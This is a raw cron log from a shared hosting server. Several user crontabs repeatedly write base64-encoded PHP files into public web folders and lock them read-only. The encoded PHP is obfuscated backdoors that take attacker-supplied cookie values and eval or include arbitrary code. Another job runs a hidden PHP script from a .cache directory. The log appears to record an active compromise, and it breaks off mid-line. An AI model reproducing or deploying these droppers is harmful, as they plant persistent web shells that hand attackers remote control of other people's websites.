Mar  1 10:52:01 medusa CROND[7493]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:52:01 medusa CROND[7494]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:52:01 medusa CROND[7498]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:52:01 medusa CROND[7499]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:52:01 medusa CROND[7505]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 10:52:01 medusa CROND[7510]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:53:01 medusa CROND[30019]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:53:01 medusa CROND[30040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:53:01 medusa CROND[30041]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:53:01 medusa CROND[30042]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:53:01 medusa CROND[30043]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:53:01 medusa CROND[30045]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:53:01 medusa CROND[30046]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:53:01 medusa CROND[30050]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:53:01 medusa CROND[30049]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 10:53:01 medusa CROND[30051]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:53:01 medusa CROND[30052]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:53:01 medusa CROND[30058]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:54:01 medusa CROND[20308]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:54:01 medusa CROND[20310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:54:01 medusa CROND[20311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:54:01 medusa CROND[20312]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:54:01 medusa CROND[20313]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:54:01 medusa CROND[20314]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 10:54:01 medusa CROND[20315]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:54:01 medusa CROND[20316]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:54:01 medusa CROND[20319]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:54:01 medusa CROND[20320]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:54:01 medusa CROND[20329]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:54:01 medusa CROND[20333]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYm